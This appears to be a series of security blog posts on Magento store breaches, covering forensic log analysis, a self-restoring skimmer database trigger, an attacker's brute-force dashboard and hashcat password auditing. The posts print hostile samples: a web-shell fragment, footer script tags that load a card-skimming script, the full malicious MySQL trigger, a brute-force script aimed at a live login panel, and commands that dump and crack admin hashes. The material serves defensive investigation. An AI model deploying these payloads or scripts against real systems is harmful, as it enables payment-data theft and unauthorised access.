A Magento breach analysis (part 1)


sleuthing

Part of a series where Magento security professionals share their case notes, so that we can ultimately distill a set of best practices, tools and workflow.

Part of the job of running the MageReport service is that I get to investigate tons of hacked stores. About 50-200 new stores get hacked per day, so I figured I’d walk you through an investigation of a recent case. Some basic programming and Linux knowledge assumed. All names/hashes/passes in this article are anonymized.

1. Hack detected?

My malware scanner does a nightly scan of all our servers. This morning I got alerted on a store that is completely patched, but still showed suspicious code:

$ mwscan /data/web/public/
/data/web/public/media/tmp/shs.php: obfuscated_eval

And the file starts with:

<?php
$auth_pass = "";
$default_action = 'FilesMan';
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67
// and so on

Indeed fishy! 🐠 Supposedly it’s a web-based file manager, which is often used to upload more malware or to ensure future access. Second, preg_replace with the /e modifier is a common way to implement eval in PHP and to evade malware scanners.

But is it malicious? We are not going to run it; it might alert the intruder. If this site was actively using git, we could have consulted the commit history and then check with the original developer whether the file is legitimate. In this case, the site is not using git (or, no published metadata) but for now I assume that the detected file is Not Good.

2. Pick an approach

My goal is to obtain a complete overview of the intruder’s entry point and actions. Any privileges that the intruder may still have, can be removed and any damage can be undone.

I don’t want to alert the intruder before the investigation is finished. It might trigger him/her to “pull the trigger” (delete everything to destroy traces). Fabian Blechschmidt noted that it is better to pull the plug and investigate an isolated server instead. That is very true, but not always feasible, as the merchant might not agree.

In this case, I won’t disable any backdoors or rogue accounts, until I know exactly what has happened. Only then can I be reasonably confident that I can close all the privileges/backdoors at the same time. One missed backdoor is enough to start all over again next week!

During the investigation I keep a logbook (simple markdown file) where I collect hypotheses, timestamps, circumstantial/hard evidence, and todos.

3. Preserve potential evidence

First, I copy all the relevant data to a safe location, in case the intruder gets anxious and starts cleaning up. This includes site files, databases, and web-, firewall-, system- and database logfiles.

Important: the server cannot be trusted for now, so I should not push files from it, but rather pull them from another, trusted server. In other words, I should not initiate authorized connections from the compromised server. Also, I should not use SSH agent forwarding, because one could theoretically hijack my keys.

For copying data: if I can, I use dd to make an exact copy of the block device. If that’s not possible, I use rsync -a which preserves at least most file attributes.

A law-enforcement forensics team would come in a black van, hotwire the AC power, freeze the compromised server and clone RAM and disks. This is an obviously better approach, but black vans are pricey and for most Magento breaches not required.

4. Establish a timeline

What happened when?

$ ls -l /data/web/public/media/tmp/shs.php
-rw-rw-rw- 1 app app 24726 Sep 11 2014 /data/web/public/media/tmp/shs.php

2014, really? This file was not detected yesterday. What you see is the last modification time (aka mtime). This is trivial to tamper (eg. with touch -am). The stat tool tells us more:

$ stat /data/web/public/media/tmp/shs.php
[...]
Access: 2017-03-20 07:16:27.882583096 +0000
Modify: 2014-09-11 12:34:35.000000000 +0000
Change: 2017-03-20 07:16:27.890583097 +0000

On most Linux systems, the change time (ctime) cannot be modified by non-root users, so this is fairly reliable. In this case, it was modified less than 48 hours ago, great! As logs are often purged after 2-4 weeks, the fresher the traces, the better.

Also, I verified the timezone of the server. If it is not UTC, I should convert all timestamps to a standard time, so I can correlate it with other sources.

5. Collect traces & evidence

What happened here on the 20th of March, 07:16:27 UTC? In practice, most PHP malware is uploaded through HTTP, so I check the webserver logs first. I filter all requests within 2 minutes before and after our timestamp.

This is a busy site, so I further narrow down the relevant log lines by filtering POST requests, as these are most often used to transform or upload data.

$ zcat -f /var/log/nginx/access.log* | grep '2017-03-20T07:16:'  | grep POST
2017-03-20T07:16:03+00:00 FR 89.234.157.254 POST /index.php/myadmin/catalog_category/save/?isAjax=true HTTP/1.1
2017-03-20T07:16:04+00:00 FR 89.234.157.254 POST /index.php/myadmin/catalog_category/edit/id/885/?isAjax=true&isAjax=true HTTP/1.1
2017-03-20T07:16:27+00:00 FR 89.234.157.254 POST /index.php/myadmin/newsletter_template/preview/ HTTP/1.1
2017-03-20T07:16:27+00:00 FR 89.234.157.254 POST /index.php/myadmin/newsletter_template/drop/ HTTP/1.1
2017-03-20T07:16:52+00:00 FR 89.234.157.254 POST /index.php/myadmin/catalog_category/delete/id/885/_blcg_token_/<snip>/?isAjax=true&isAjax=true HTTP/1.1

Presto, we have an exact timestamp match!

Sidenote: your log format might be different and not contain a country code. Hint, use the geoiplookup utility.

Now, this suggests that the malware was installed by an authorized call to the newsletter system. This is pretty worrying, as:

  1. The intruder has an admin account to the store
  2. The intruder knows the secret location of the backend panel

The login came from a French IP. Now I happen to know that this merchant does not have staff in France, but to be sure I check the IP owner:

$ whois 89.234.157.254
netname:        NET-TTNN-NOS-OIGNONS
descr:          Subnet Nos Oignons chez TTNN

Nos oignons? This appears to be a Tor exit node. No legitimate merchant staff would use the Tor network for store administration.

Building a narrative

What else has this IP requested?

# only a few lines shown for brevity
$ zcat -f access.log.4.gz | grep 89.234.157.254
2017-03-20T07:11:07+00:00 FR 89.234.157.254 GET /index.php/myadmin/sales_order/?SID=<snip> HTTP/1.1
2017-03-20T07:11:08+00:00 FR 89.234.157.254 GET /media/css_secure/02c96sddefddba3fcc06108256401ece4.css HTTP/1.1
2017-03-20T07:14:21+00:00 FR 89.234.157.254 POST /index.php/myadmin/system_config/save/section/design/ HTTP/1.1
2017-03-20T07:14:51+00:00 FR 89.234.157.254 POST /index.php/myadmin/cache/massRefresh/ HTTP/1.1
2017-03-20T07:16:42+00:00 FR 89.234.157.254 GET /media/tmp/shs.php HTTP/1.1

And the user-agent header for all these requests:

Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0

There are many clues hidden here.

  1. The first request is not a login request, which implies that there are more relevant requests but probably from a different IP.
  2. The intruder fetches static assets and the requests are distributed over the timeframe of a few minutes. This suggests that an actual human is interacting with the control panel, and not an automated worm. Somebody took quite some effort here! Also, I would speculate that the intruder is not in the UTC timezone, as those black hats are known to be sound asleep between 6 and 11 am ;)
  3. The intruder fetches the file manager a few seconds after it was created, likely to verify whether the upload had succeeded.
  4. The given user agent is not very common, as it is more than a year old (Firefox release history). So it could be fake, or an old browser bundled with the Tor client. I should look for other requests with this agent.
  5. Something was saved in the design section of the panel and the cache was refreshed. I should verify whether the templates have been tampered with.

So far, we have found that somebody tried to hide their identity and that an obfuscated PHP file was installed through the newsletter module. Enough indicators to assume that the file is malicious and somebody gained unauthorized access to the backend.

Somebody lost their password

Now, which admin account was used here? Unfortunately, that is not logged on most systems (as it is part of the POST data). But perhaps I can infer it from other sources.

First, I check whether any admin accounts are likely inserted using SQL injection. As most attackers are too lazy to fill all the non-required fields, I check for admin accounts that have NULL fields:

$ echo 'select email,username,created,modified 
	from admin_user' | n98-magerun db:console

In this case, no NULL fields showed up, so likely all the admin accounts are in use as legitimate accounts, and one has been compromised. But which? We can check the last login date:

$ echo 'select username,logdate from admin_user 
	order by logdate' | magerun db:console
<snip> 2017-03-20 06:56:56
<snip> 2017-03-20 07:18:53
<snip> 2017-03-20 07:20:39
[..long list of users..]
<snip> 2017-03-20 09:38:29
<snip> 2017-03-21 08:26:18
<snip> 2017-03-21 13:52:27

Ouch, based on the timestamps, that still leaves us with a gazillion possibly compromised accounts.

Logging in without logging in

Let’s take a step back: how did the intruder log in to the backend panel in the first place? I search the logs for suspicious backend logins (POSTs to /myadmin) but cannot find anything. Then I search for the specific user agent and I also look for any given basic auth usernames:

$ zcat access.log.4.gz | grep 'Firefox/45.0'
2017-03-20T07:09:48+00:00 US 104.236.141.156 - GET /rss/catalog/notifystock/ HTTP/1.1
2017-03-20T07:10:02+00:00 US 104.236.141.156 mike GET /rss/catalog/notifystock/ HTTP/1.1
2017-03-20T07:11:07+00:00 FR 89.234.157.254 - GET /index.php/myadmin/sales_order/?SID=<snip> HTTP/1.1

Bingo! A minute before our French Tor friend enters the backend panel, a basic auth request (“mike”) is made to the catalog RSS endpoint, using a US Tor IP.

But wait, can this be used as an alternative method to log in to the backend? I try to replicate it on a test store. Given the right password, the notifystock endpoint indeed reveals the secret address to the backend panel. But I cannot login though. Wait, notifystock sends a PHPSESS cookie with a hash value. What if I append this value as ?SID=xyz to a backend address? Indeed, that works! This seems like a lot of trouble to circumvent the regular backend login page. Perhaps the intruder uses it to evade login POST access control, a common security filter. This required copy-pasting of the session cookie could also explain why there is a minute between the notifystock hit and the first backend request.

So I’ve established that at least the mike admin account is compromised. To quickly check whether any weak passwords were used, I use this cool magerun plugin written by Peter O’Callaghan:

$ n98-magerun hypernode:crack:admin-passwords --active --force --rulesets=best64 1000 special vendors -v

[8/13] Cracking mike
   29876/211981 [===>------------------------]  14% < 1 sec 16.0 MiB

+---------------+------------+---------+-----------+
| User          | Hash       | Cracked | Password  |
+---------------+------------+---------+-----------+
| mike          | 557466e... | Yes     | mike123   |
+---------------+------------+---------+-----------+

Right, username + 123 is probably not such a strong password. I check the logs and find that in the last week, brute forcers have tried to guess the passwords for 5481 accounts.

Couldn’t we block this? Our systems use adaptive filtering which blocks access after a few unsuccessful login attempts, however brute forcers have recently started to use botnets and Tor nodes. These distributed attack sources are harder to identify, see also my call for honeypot volunteers.

Adding up, it seems highly likely that the mike account got brute forced.

6. Finding other hack artifacts

Remember that the intruder modified the design earlier? Let’s see if anything ended up in the header or footer:

$ n98-magerun config:get 'design*'
design/footer/absolute_footer: <script src="https://analiticoscdn.com/js/static.js" type="text/javascript"></script>

Indeed, a remote Javascript file is injected in every page (readable copy here). No surprise: it skims payment data and forwards it to a server registered in Vladivostok. However, it’s the first time I see a malware that was specifically written to intercept major payment providers such as Stripe, Adyen, Pin Payments, Eway Rapid and Heidelpay.

Finally, I routinely check other areas for possible artifacts. Anything on the filesystem that was modified within the last 48 hours:

$ find /data/web -type f -ctime -2 

Possible a rogue cron was inserted?

$ crontab -l -u app

Rogue background processes?

$ pgrep -lu app

Rogue database triggers? Yes, they exist.

echo 'SHOW TRIGGERS' | n98-magerun db:console

These produced no further suspicious traces.

7. Conclusion

I’ve walked you through a pragmatic investigation of a Magento hack. What I discovered:

Up next: I invite two professionals to share their case workflow, so we can all learn from them:


An OpenCart/Magento hacking dashboard


This post shows how sophisticated Magento hacking operations have become nowadays.

While investigating a bruteforced Magento store, I noticed that the hacker logged in using a curious referrer site:

"GET /rss/catalog/notifystock/ HTTP/1.1" 200 5676 "http://194.87.232.147:777/"

The site at http://194.87.232.147:777/ shows:

brute force dashboard

A “Magento report panel” asks for a Пароль (password). In the page source (beautified JS here) are some clues about its password protected functionality:

$.post("/home/getServers", function(n) {
$.post("/home/GetCountGoodLastDay", function(n) {
$.post("/home/GetCountServerLastDay", function(n) {
$.post("/home/GetCountSuccessLastDay", function(n) {
$.post("/home/ChangeMarkState", {
$.post("/home/ChangeComment", { 
$.post("/home/getCount", { 
$.post("/home/ChangeShell", {
$.post("/home/ChangeReservedLogins", {

Apparently somebody has built a sophisticated dashboard to manage bruteforce Magento hacking operations. It appears to show the daily progress on hacked Magento stores and it has a GUI method to mark found servers as “success”. Also, it can be used to log in to the backend of hacked stores.

I checked my forensic notes of previous cases and found that this dashboard was used in at least one other case. Sysadmins, check your server logs.

Update April 11th: Super-sleuth Len Lorijn noted that an “Opencart Report Panel” is running on the same server. This signifies that e-commerce hackers are platform agnostic. If there’s money flowing through it, it’s worth hacking.

Returning the favour

What if the bruteforcer got bruteforced? Now, I won’t do that, as it is not allowed in my country. But in theory, you could use something like this (provided for educational purposes only):

#!/usr/bin/env python3
""" 
Brute force the admin password
of a Russian brute forcer's admin panel
"""

import requests
URL = 'http://194.87.232.147:777/Account/Login'

print("Downloading Russian wordlist...")
wordlist = requests.get('https://github.com/svetlitskiy/wordlist-russian/blob/master/russian-words.json?raw=true').json()

for word in wordlist:
	print("Trying {}".format(word.encode('utf-8')))
	resp = requests.post(URL, data=dict(Password=word))
	if resp.status_code == 200 and 'form action="/Account/Login"' not in resp.content:
		print("{} looks good!".format(word.encode('utf-8')))
		break

Wanted: online stores that have quit


Are you planning to shut down your online store? Sorry to hear that. However, your domain name could be a valuable tool to trap hackers. Please consider donating your online presence to the good cause: fighting online fraud.

As e-commerce crime becomes more sophisticated, it becomes harder to track new attack methods. Currently, new techniques are discovered like this:

  1. Consumer sees unauthorized payment, calls bank
  2. Bank gets lots of complaints, identifies common denominator, calls the likely compromised merchant
  3. Merchant asks agency or ISP to launch security investigation
  4. Technician sifts through millions of log entries
  5. Technician curses, finds hack entry point and identifies new attack method

Doesn’t sound very efficient, right?

Getting ahead of fraud

Holy grail: identify new attacks before they can do any damage. This would be a whole lot easier if we could filter out legitimate traffic.

One approach is to set up a new (fake) store that doesn’t have any real customers (aka a honeypot). However, apart from the work involved with creating a realistic looking store, it has a major disadvantage: it lacks credibility. It is not included in any search engine result or in any list that circulates among fraudsters. And criminals browsing the site will quickly see that it is fake. So the chances of actual hack attempts are slim.

The best approach would be to use a real store without real customers. One that has been around for a while but has gone out of business. This store likely sees hack attempts on a daily basis and is included in lists of target e-commerce sites that are sold on the dark web. Apart from search engine traffic, any other traffic is likely suspect. This would tremendously reduce the analysis effort.

How does it work

We would copy your template (just the looks, not any code. history or data!) and point your domain name to a special equipped server.

Then, all the requests to authorized endpoints (such as the backend panel) will be logged. As these endpoints are not in use anymore, any traffic to them is highly suspicious and will be investigated. If a source IP sends requests beyond a certain threshold, it will get added to a list of known hack networks. Other stores can use this list to block access to their stores. And when new attack methods are discovered, they will be published and proper protection can be made.

Please contribute

If you plan to let your store domain name expire, please donate it instead. With your help, we can:

  1. Find new botnet IPs of criminal gangs
  2. Monitor and discover new attack methods
  3. Proactively protect e-commerce

Get in touch!


Self-healing malware discovered


ecoli

Regular Javascript-based malware is normally injected in the static header or footer HTML definitions in the database. Cleaning these records used to be sufficient to get rid of the malware. But not anymore: this week a new malware pattern surfaced. Once deleted, it uses a clever database trigger to restore itself.

The pattern was discovered by Jeroen Boersma (excellent detective job!). He found the following database trigger (edited for readability):

TRIGGER `after_insert_order` 
AFTER INSERT ON `sales_flat_order` FOR EACH ROW
BEGIN
	UPDATE core_config_data 
	SET value = IF(
		value LIKE '%<script src="https://mage-storage.pw/cdn/flexible-min.js"></script>%', 
		value, 
		CONCAT(value, ' <script src="https://mage-storage.pw/cdn/flexible-min.js"></script>')
	) 
	WHERE path='design/head/includes' 
		OR path='design/footer/absolute_footer' 
		OR path='design/footer/copyright';\

	UPDATE cms_block 
	SET content= IF(
		content LIKE '%<script src="https://mage-storage.pw/cdn/flexible-min.js"></script>%', 
		content, 
		CONCAT(content, ' <script src="https://mage-storage.pw/cdn/flexible-min.js"></script>')
	);
END;

The trigger is executed every time a new order is made. The query checks for the existence of the malware in the header, footer, copyright and every CMS block. If absent, it will re-add itself.

This discovery shows we have entered a new phase of malware evolution. Just scanning files is not enough anymore, malware detection methods should now include database analysis.

Check your own database

Do you have persistent malware hidden in your database?

echo 'SHOW TRIGGERS' | n98-magerun db:console

NB. Magento Enterprise and some community extensions contain legitimate triggers. So if you find triggers, look for suspicious SQL code, such as anything containing admin, .js, script or < (html tags).

If you find a malicious trigger, you can delete it like this:

echo "DROP TRIGGER <trigger_name>" | n98-magerun db:console

Attack context

For future reference: the entry vector for this malware was a brute force attack on /rss/catalog/notifystock/ for an otherwise completely patched shop.

New signatures

Both Magereport and my Malware Scanner have been updated with the new patterns.


Cracking Magento passwords for $1


hashcat logo

TL;DR: Find weak passwords on your Magento stores before the bad guys do. If you spend some serious money ($1) on high-performance computing power, you can find easily guessable passwords. Here’s - step by step - how you can check your stores for vulnerable admin accounts.

A password guessing attack (aka “brute force”) has become the most successful attack vector recently. Hackers try zillions of passwords on authenticated pages (/admin, /downloader, /rss) until they hit the jackpot.

Now, you (the admin) can easily find weak passwords, because you have a major advantage over remote attackers: speed. Potential hackers test passwords over HTTP, which is relatively slow. With a botnet and fast servers, at best (worst) they can try a few hundred passwords per second per store. You, on the other hand, have direct database access. With the proper setup (read on!) you can test 4 billion passwords per second.

What is password hashing?

When big companies are hacked, they always say your password is safe because it was stored in an unreadable manner.

What they actually mean is that they stored a hash of your password. Hashing is a one-way algorithm to translate some data (your password) into a unique code. Say, you have password qwerty123. The MD5 hash for this password is 3fc0a7acf087f549ac2b266baf94b8b1. It is not possible to revert this. However, nothing stops you from hashing random passwords and see if they match 3fc0a7acf087f549ac2b266baf94b8b1. You would only have to try enough combinations, starting with aaaaaaaa, then all the way to ZZZZZZZZ (and beyond).

The MD5 method is not a very safe hash, because it is unbelievably fast. A 5-year old PC can compute about 70 megahashes (MH) per second. And a juicy videocard can do 4500 MH per second.

Get the machinery in place

Magento 1 CE uses the fast MD5 hash to store admin passwords. To find weak ones, you need:

Amazon released their P2 GPU servers recently, to jump on the machine learning money wagon. P2 servers happen to be also really good at hashing. Equipped with Nvidia’s Tesla K80 cards, those servers are nothing but hash grinding beasts. The smallest P2 server is still pricey, but for $1, you may tame it for a whole hour.

Boot a p2.xlarge with Amazon EC2. Root disk 8GB is ok. Pick Ubuntu 16.04 AMI. Download keyfile (pem). Run these commands in terminal.

Extract hashes from your Magento stores

Almost ready to start cracking: you just need the password hashes. If you have magerun, you can do this (run on your Magento server):

n98-magerun db:query "select concat(username,':',password) from admin_user where is_active=1" | tail -n +3 | tee maghashes.txt

Now, maghashes.txt contains lines with username:hash:salt like this:

admin:90EFkDlbNgMIVq6oJZfXJ7XrifM4TI80:ToV9inml5MawidrOTCgcKvwSwn1xIApE
backup:ep0NXnY2MeRI9JzXDHefnRdQDyNmhkH7:8M

Copy this file to your hash grinder and start the magic:

scp maghashes.txt ubuntu@<AWS-IP>:/data

# back to your AWS terminal
cd /data/hashcat
./hc -m20 --username -r rules/best64.rule ../maghashes.txt ../phpbb.txt

The One Dollar Challenge

Show all the guessed passwords:

./hc --show --username -m20 ../maghashes.txt

In practice, 10-15% of the admin passwords appears easily guesseable. This is more than I expected. Notable cases are test/test123 and admin/123. Magento 2 forces strong passwords by default, but for anyone still running M1, it’s a good idea to give your admin passwords a boost.

Bonus

MD54,231,000 hashes/sec
PHP’s password_hash()53 hashes/sec

Pagination